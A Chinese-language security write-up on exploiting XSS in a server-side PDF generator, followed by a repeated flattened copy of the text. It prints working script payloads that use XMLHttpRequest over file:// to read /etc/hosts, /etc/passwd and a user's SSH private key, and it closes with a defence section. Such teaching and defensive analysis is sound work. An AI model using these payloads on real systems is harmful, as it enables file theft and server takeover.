XSS漏洞_从PDF中获取数据
字数 898 2025-08-04 22:52:59

XSS漏洞利用:从PDF中获取敏感数据

一、漏洞概述

本文介绍了一种通过XSS漏洞从PDF文件中获取服务器敏感数据的攻击方法。攻击者利用用户输入生成PDF文件的功能,注入恶意JavaScript代码,成功读取了服务器上的/etc/hosts、/etc/passwd文件以及SSH私钥(id_rsa)。

二、漏洞发现与测试流程

1. 功能分析

  • 目标系统提供图书上传功能,用户可输入书名、作者和内容
  • 系统会将用户输入生成PDF文件
  • PDF生成过程中未对用户输入进行充分过滤

2. 测试步骤

第一步:基础XSS测试

  1. 在输入框中输入基本HTML标签测试解析能力:
    
    
  2. 确认PDF解析器能够执行JavaScript代码

第二步:协议探测

  1. 使用以下payload探测PDF使用的协议:
    <script>document.write(document.location.href)</script>
    
  2. 确认使用的是file://协议

第三步:文件读取测试

  1. 构造XMLHttpRequest读取系统文件:
    <script>
    x=new XMLHttpRequest;
    x.onload=function(){document.write(this.responseText)};
    x.open('GET','file:///etc/hosts');
    x.send();
    </script>
    
  2. 成功读取/etc/hosts文件内容

三、关键攻击技术

1. 文件读取技术

通过JavaScript的XMLHttpRequest对象,利用file协议读取本地文件:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

2. SSH私钥窃取

读取用户home目录下的SSH私钥:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>

四、漏洞危害

  1. 敏感信息泄露:可读取系统配置文件(/etc/passwd)、网络配置(/etc/hosts)
  2. 权限提升:获取SSH私钥后可实现服务器接管
  3. 横向移动:通过读取的配置信息可进一步探测内网

五、防御措施

1. 输入过滤

  • 对用户输入进行严格的HTML/JavaScript过滤
  • 使用白名单机制限制允许的标签和属性

2. PDF生成安全

  • 使用专业PDF生成库而非HTML转换
  • 禁用PDF中的JavaScript执行功能

3. 服务器配置

  • 限制PDF解析器的文件系统访问权限
  • 使用沙箱环境处理用户上传内容

4. 监控与日志

  • 监控异常的文件读取行为
  • 记录PDF生成过程中的可疑输入

六、总结

此案例展示了XSS漏洞如何与其他漏洞(如文件包含)结合造成更严重的危害。安全测试不应仅满足于发现漏洞,而应探索漏洞的最大化利用方式。防御方面需要多层防护,从输入过滤到运行环境隔离都需要考虑。

XSS漏洞利用:从PDF中获取敏感数据 一、漏洞概述 本文介绍了一种通过XSS漏洞从PDF文件中获取服务器敏感数据的攻击方法。攻击者利用用户输入生成PDF文件的功能,注入恶意JavaScript代码,成功读取了服务器上的/etc/hosts、/etc/passwd文件以及SSH私钥(id_ rsa)。 二、漏洞发现与测试流程 1. 功能分析 目标系统提供图书上传功能,用户可输入书名、作者和内容 系统会将用户输入生成PDF文件 PDF生成过程中未对用户输入进行充分过滤 2. 测试步骤 第一步:基础XSS测试 在输入框中输入基本HTML标签测试解析能力: 确认PDF解析器能够执行JavaScript代码 第二步:协议探测 使用以下payload探测PDF使用的协议: 确认使用的是 file:// 协议 第三步:文件读取测试 构造XMLHttpRequest读取系统文件: 成功读取/etc/hosts文件内容 三、关键攻击技术 1. 文件读取技术 通过JavaScript的XMLHttpRequest对象,利用file协议读取本地文件: 2. SSH私钥窃取 读取用户home目录下的SSH私钥: 四、漏洞危害 敏感信息泄露 :可读取系统配置文件(/etc/passwd)、网络配置(/etc/hosts) 权限提升 :获取SSH私钥后可实现服务器接管 横向移动 :通过读取的配置信息可进一步探测内网 五、防御措施 1. 输入过滤 对用户输入进行严格的HTML/JavaScript过滤 使用白名单机制限制允许的标签和属性 2. PDF生成安全 使用专业PDF生成库而非HTML转换 禁用PDF中的JavaScript执行功能 3. 服务器配置 限制PDF解析器的文件系统访问权限 使用沙箱环境处理用户上传内容 4. 监控与日志 监控异常的文件读取行为 记录PDF生成过程中的可疑输入 六、总结 此案例展示了XSS漏洞如何与其他漏洞(如文件包含)结合造成更严重的危害。安全测试不应仅满足于发现漏洞,而应探索漏洞的最大化利用方式。防御方面需要多层防护,从输入过滤到运行环境隔离都需要考虑。